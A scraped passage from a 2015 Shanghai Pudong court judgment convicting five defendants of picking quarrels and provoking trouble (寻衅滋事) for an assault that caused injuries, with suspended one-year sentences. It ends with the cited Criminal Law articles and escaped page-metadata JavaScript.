解书，公安机关出具的案发经过材料，被告人邹丙、刘某某、李甲、李乙、胡某的供述笔录等证据证实，足以认定。本院认为，被告人邹丙、刘某某、李甲、李乙、胡某在公共场所随意殴打他人，致一人轻伤、一人轻微伤，情节恶劣，破坏社会秩序，依照《中华人民共和国刑法》第二百九十三条第一款第（一）项、第二十五条第一款的规定，均已构成寻衅滋事罪，分别应处五年以下有期徒刑。公诉机关指控被告人邹丙、刘某某、李甲、李乙、胡某犯寻衅滋事罪的事实清楚，证据确实、充分，罪名成立。五名被告人到案后能如实供述罪行，依照《中华人民共和国刑法》第六十七条第三款的规定，均可以从轻处罚。结合赔偿以及谅解情况等，对五名被告人分别可以酌情从轻处罚。依照《中华人民共和国刑法》第七十二条第一款和第七十三条第二款、第三款的规定，对五名被告人均可以宣告缓刑。本院为维护社会公共秩序，判决如下：一、被告人邹丙犯寻衅滋事罪，判处有期徒刑一年，缓刑一年。（缓刑考验期限，从判决确定之日起计算。）二、被告人刘某某犯寻衅滋事罪，判处有期徒刑一年，缓刑一年。（缓刑考验期限，从判决确定之日起计算。）三、被告人李甲犯寻衅滋事罪，判处有期徒刑一年，缓刑一年。（缓刑考验期限，从判决确定之日起计算。）四、被告人李乙犯寻衅滋事罪，判处有期徒刑一年，缓刑一年。（缓刑考验期限，从判决确定之日起计算。）五、被告人胡�犯寻衅滋事罪，判处有期徒刑一年，缓刑一年。（缓刑考验期限，从判决确定之日起计算。）邹丙、刘某某、李甲、李乙、胡某回到社区后，应当遵守法律、法规，服从公安、社区矫正等部门的监督管理，接受教育，完成公益劳动，做一名有益社会的公民。如不服本判决，可在接到判决书的第二日起十日内，通过本院或者直接向上海市第一中级人民法院提出上诉。书面上诉的，应当提交上诉状正本一份，副本二份\",\"案件基本情况段原文\":\"\",\"裁判要旨段原文\":\"\",\"判决结果段原文\":\"\",\"附加原文\":\"附：相关法律条文\\\n附：相关法律条文《中华人民共和国刑法》第二百九十三条有下列寻衅滋事行为之一，破坏社会秩序的，处五年以下有期徒刑、拘役或者管制：（一）随意殴打他人，情节恶劣的；（二）追逐、拦截、辱骂、恐吓他人，情节恶劣的；（三）强拿硬要或者任意损毁、占用公私财物，情节严重的；（四）在公共场所起哄闹事，造成公共场所秩序严重混乱的。纠集他人多次实施前款行为，严重破坏社会秩序的，处五年以上十年以下有期徒刑，可以并处罚金。第二十五条第一款共同犯罪是指二人以上共同故意犯罪。第六十七条第三款犯罪嫌疑人虽不具有前两款规定的自首情节，但是如实供述自己罪行的，可以从轻处罚；因其如实供述自己罪行，避免特别严重后果发生的，可以减轻处罚。第七十二条第一款�于被判处拘役、三年以下有期徒刑的犯罪分子，同时符合下列条件的，可以宣告缓刑，对其中不满十八周岁的人、怀孕的妇女和已满七十五周岁的人，应当宣告缓刑：（一）犯罪情节较轻；（二）有悔罪表现；（三）没有再犯罪的危险；（四）宣告缓刑对所居住社区没有重大不良影响。第七十三条拘役的缓刑考验期限为原判刑期以上一年以下，但是不能少于二个月。有期徒刑的缓刑考验期限为原判刑期以上五年以下，但是不能少于一年。缓刑考验期限，从判决确定之日起计算\",\"文本尾部原文\":\"\"});$(document).attr(\"title\",\"邹丙、刘某某等寻衅滋事一审刑事判决书\");$(\"#tdSource\").html(\"邹丙、刘某某等寻衅滋事一审刑事判决书
（2015）浦刑初字第2757号\");$(\"#hidDocID\").val(\"8f4e8a3e-4284-413d-9148-4755fb666940\");$(\"#hidCaseName\").val(\"邹丙、刘某某等寻衅滋事一审刑事判决书\");$(\"#hidCaseNumber\").val(\"（2015）浦刑初字第2757号\");$(\"#hidCaseInfo\").val(caseinfo);$(\"#hidCourt\").val(\"上海市浦东新区人民法院\");$(\"#hidCaseType\").val(\"1\");$(\"#HidCourtID\").val(\"912\");$(\"#hidRequireLogin\").val(\"0\");});$(function(){var
dirData = {Elements: [\"RelateInfo\", \"LegalBase\"],RelateInfo: [{ name:
\"审理法院\", key: \"court\", value: \"上海市浦东新区人民法院\" },{ name: \"案件类型\", key:
\"caseType\", value: \"刑事案件\" },{ name: \"案由\", key: \"reason\", value:
\"寻衅滋事\" },{ name: \"审理程序\", key: \"trialRound\", value: \"一审\" },{ name:
\"裁判日期\", key: \"trialDate\", value: \"2015-07-13\" },],LegalBase: []};if
($(\"#divTool_Summary\").length > 0) {$(\"#divTool_Summary\").ContentSummary({
data: dirData });}});$(function() {\r\n var jsonHtmlData =
\"{\\\\\"Title\\\\\":\\\\\"邹丙、刘某某等寻衅滋事一审刑事判决书\\\\\",\\\\\"PubDate\\\\\":\\\\\"2015-09-10\\\\\",\\\\\